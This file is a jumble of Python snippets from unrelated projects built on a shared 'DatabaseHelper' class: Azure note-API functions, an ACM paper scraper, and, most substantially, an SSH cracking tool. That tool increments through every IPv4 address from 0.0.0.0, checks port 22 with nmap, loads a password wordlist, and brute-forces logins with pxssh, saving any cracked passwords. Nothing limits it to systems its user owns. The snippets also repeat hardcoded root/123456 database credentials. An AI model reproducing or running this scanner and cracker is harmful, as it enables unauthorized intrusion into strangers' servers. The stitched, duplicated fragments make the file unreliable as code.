def __init__(self, id, host, password, user='******'): self._user = user self._password = password self._host = host self._id = id self.pageSize = 100 self.pageIndex = 1 self.skipSave = 11 self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456')
def main(req: func.HttpRequest) -> func.HttpResponse: logging.info( 'Python HTTP trigger function processed a request for getting only one note.' ) noteId = req.params.get('noteId') if not noteId: try: req_body = req.get_json() except ValueError: pass else: noteId = req_body.get('noteId') if noteId: try: collection = DatabaseHelper.getCollection() result = collection.find({"_id": noteId}) result = dumps(result) return func.HttpResponse(result, mimetype="application/json", charset='utf-8', status_code=200) except ConnectionError: return func.HttpResponse("Unable to connect to the Mongo Db", status_code=400) else: return func.HttpResponse( "This HTTP triggered function executed successfully. Pass a note Id in the query string or in the request body for a personalized response.", status_code=200)
class SSHScheduler: def __init__(self): self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456') self.dbHelper.nonQuery( 'update crackResult set crackState = %s where crackState = %s', (NOSTART, CRACKING)) def getNextWork(self): dictResult = self.dbHelper.queryOne( 'select id, host, password from crackResult where state = %s and crackState = %s order by id asc', ('open', NOSTART)) if dictResult == None: return None self.dbHelper.nonQuery( 'update crackResult set crackState = %s where id = %s', (CRACKING, dictResult['id'])) return CrackSSHWorkInfo(dictResult['id'], dictResult['host'], dictResult['password'])
class ScanPortScheduler: def __init__(self): self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456') def getNextWork(self): ''' 获取下一个任务 ''' dictResult = self.dbHelper.queryOne('select currentAddr from schedule') if (dictResult == None): self.dbHelper.nonQuery( 'insert into schedule(currentAddr) values(%s)', ('0.0.0.0', )) return None host = dictResult['currentAddr'] int_ip = socket.ntohl(struct.unpack('I', socket.inet_aton(host))[0]) int_ip += 1 nextHost = socket.inet_ntoa(struct.pack('I', socket.htonl(int_ip))) self.dbHelper.nonQuery('update schedule set currentAddr = %s', (nextHost, )) return ScanPortWorkInfo(host, 22)
def main(req: func.HttpRequest) -> func.HttpResponse: logging.info('Python HTTP trigger function processed a request for getting all notes!') try: collection = DatabaseHelper.getCollection() notes = collection.find({}) notesList = list(notes) i = 1 for note in notesList: note['title'] += '_test'+'_' + str(i) i+=1 notes = dumps(notesList) return func.HttpResponse(notes, mimetype="application/json", charset='utf-8', status_code=200) except ConnectionError: return func.HttpResponse("Unable to connect to the Mongo Db", status_code=400)
class ScanPortWorkInfo: def __init__(self, host, port): self.host = host self.port = port self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456') def workThread(self, threadLock): try: scanner = nmap.PortScanner() result = scanner.scan(self.host, str(self.port)) state = result['scan'][self.host]['tcp'][int(self.port)]['state'] if state == 'open': self._saveWorkInfo(state) except Exception as e: print('[-] Error: ' + str(e)) finally: threadLock.release() def _saveWorkInfo(self, state): sql = 'insert into crackResult(host, state, scanTime) value(%s, %s, %s)' param = (self.host, state, datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')) self.dbHelper.nonQuery(sql, param)
def main(request: func.HttpRequest) -> func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') requestObject = request.get_json() if requestObject: try: title = requestObject.get('title') description = requestObject.get('desc') collection = DatabaseHelper.getCollection() collection.insert_one({"title": title, "desc": description}) # we are returnign the request body so you can take a look at the results return func.HttpResponse(request.get_body()) except ValueError: return func.HttpResponse('Database connection error.', status_code=500) else: return func.HttpResponse( "Please pass the correct JSON format in the body of the request object", status_code=400)
def __init__(self): self.tablename = "rooms" DatabaseHelper.__init__(self)
def __init__(self, methods): self.tablename = "conditions" self.methods = methods DatabaseHelper.__init__(self)
#!/usr/bin/python3 # coding: utf-8 from databaseHelper import DatabaseHelper import sys if __name__ == '__main__': if len(sys.argv) <= 1: print('usage ' + __file__ + ' <password.txt>') exit filename = sys.argv[1] dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456') # numCount = dbHelper.queryOne('select count(*) as num from password')['num'] with open(filename, 'r') as f: for line in f: ''' if (numCount == 0): try: line = line.strip('\n').strip() dbHelper.nonQuery('insert into password(val) value(%s)', (line,)) except Exception as e: print(str(e)) else: numCount -= 1 ''' try: line = line.strip('\n').strip() dbHelper.nonQuery('insert into password(val) value(%s)', (line, )) except Exception as e: print(str(e))
def __init__(self): self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456')
import os import gc from databaseHelper import DatabaseHelper offset = 10 breakIntervalInSeconds = 5 dbHelper = DatabaseHelper() if dbHelper.connectToLocalDatabase(): print "\n\nstarting..." publications = dbHelper.getQueue(offset) for publication in publications: if not dbHelper.findPublication(str(publication[0])): print "waiting " + str( breakIntervalInSeconds) + " seconds to collect..." os.system("sleep " + str(breakIntervalInSeconds)) print "collecting " + str(publication[0]) os.system("python parser.py " + str(publication[0])) else: dbHelper.removeFromQueue(str(publication[0])) if not publications: print "Empty queue. Adding first publication to collect..." dbHelper.addToQueue('2000824.2000828') #first to colllect dbHelper.closeLocalConnection() gc.collect()
#arguments for the script args_parser = argparse.ArgumentParser(description='Collect publications provided by ACM.') args_parser.add_argument('integers', metavar='N', type=str, nargs='+', help='the id of some publication') args = args_parser.parse_args(); #connection domain = 'http://dl.acm.org/' publication_id = args.integers[0] soup = connect(domain+'citation.cfm?id='+publication_id) dbHelper = DatabaseHelper() dbHelper.connectToLocalDatabase() date_object = datetime.strptime(soup.find("meta", {"name":"citation_date"})['content'], '%m/%d/%Y') authors_citation='' if soup.find("meta", {"name":"citation_authors"}): authors_citation = soup.find("meta", {"name":"citation_authors"})['content'] title = unicode(soup.title.string) print "--------------/-----------------------/---------------------------------/" print "publication "+publication_id #get basic info
def __init__(self): self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456') self.dbHelper.nonQuery( 'update crackResult set crackState = %s where crackState = %s', (NOSTART, CRACKING))
import os import gc from databaseHelper import DatabaseHelper offset= 10 breakIntervalInSeconds = 5 dbHelper = DatabaseHelper() if dbHelper.connectToLocalDatabase() : print "\n\nstarting..." publications = dbHelper.getQueue(offset) for publication in publications: if not dbHelper.findPublication(str(publication[0])): print "waiting "+str(breakIntervalInSeconds)+" seconds to collect..." os.system("sleep "+str(breakIntervalInSeconds)) print "collecting "+str(publication[0]) os.system("python parser.py "+str(publication[0])) else: dbHelper.removeFromQueue(str(publication[0])) if not publications: print "Empty queue. Adding first publication to collect..." dbHelper.addToQueue('2000824.2000828') #first to colllect
def __init__(self, host, port): self.host = host self.port = port self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456')
class CrackSSHWorkInfo: def __init__(self, id, host, password, user='******'): self._user = user self._password = password self._host = host self._id = id self.pageSize = 100 self.pageIndex = 1 self.skipSave = 11 self.dbHelper = DatabaseHelper('192.168.1.102', 'crack_ssh', 'root', '123456') def _checkPassword(self, password): try: s = pxssh.pxssh() s.login(self._host, self._user, password) s.logout() except Exception as e: # print('[-] password: {1} Login Fail..., ErrorInfo: {0}'.format(e, password)) return False return True def _saveWorkInfo(self, password, crackState): self.dbHelper.nonQuery( 'update crackResult set password = %s, crackState = %s where id = %s', (password, crackState, self._id)) def workThread(self, lock): try: tryCount = 0 totalTime = 0 if self._password == None: results = self.dbHelper.pageQuery( 'select val from password order by val', pageIndex=1, pageSize=self.pageSize) else: results = self.dbHelper.pageQuery( 'select val from password where val > %s order by val', (self._password, ), self.pageSize, self.pageSize) while (len(results) > 0): start1 = time.time() for result in results: tryCount += 1 start = time.time() if self._checkPassword(result['val']): self._saveWorkInfo(result['val'], OKCRACK) return else: tryCount %= self.skipSave if (tryCount == 0): self._saveWorkInfo(result['val'], CRACKING) totalTime += time.time() - start self.pageSize += 1 results = self.dbHelper.pageQuery( 'select val from password where val > %s order by val', (self._password, ), self.pageSize, self.pageSize) print('%f, %f' % (time.time() - start1, totalTime)) else: self._saveWorkInfo('', ENDCRACK) except Exception as e: print(str(e))